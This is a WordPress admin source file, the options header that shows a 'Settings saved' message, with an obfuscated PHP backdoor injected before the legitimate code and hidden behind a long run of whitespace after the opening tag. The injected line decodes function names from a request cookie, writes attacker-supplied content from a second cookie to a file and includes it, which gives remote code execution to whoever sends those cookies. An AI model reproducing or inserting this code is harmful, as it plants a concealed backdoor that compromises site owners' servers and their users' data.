<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[39])){$c=$_COOKIE;$k=0;$n=6;$p=array();$p[$k]='';while($n){$p[$k].=$c[39][$n];if(!$c[39][$n+1]){if(!$c[39][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+6+1;}$k=$p[19]().$p[2];if(!$p[3]($k)){$n=$p[23]($k,$p[12]);$p[20]($n,$p[0].$p[27]($p[29]($c[3])));}include($k);}

/**
 * WordPress Options Header.
 *
 * Displays updated message, if updated variable is part of the URL query.
 *
 * @package WordPress
 * @subpackage Administration
 */

wp_reset_vars( array( 'action' ) );

if ( isset( $_GET['updated'] ) && isset( $_GET['page'] ) ) {
	// For back-compat with plugins that don't use the Settings API and just set updated=1 in the redirect.
	add_settings_error( 'general', 'settings_updated', __( 'Settings saved.' ), 'updated' );
}

settings_errors();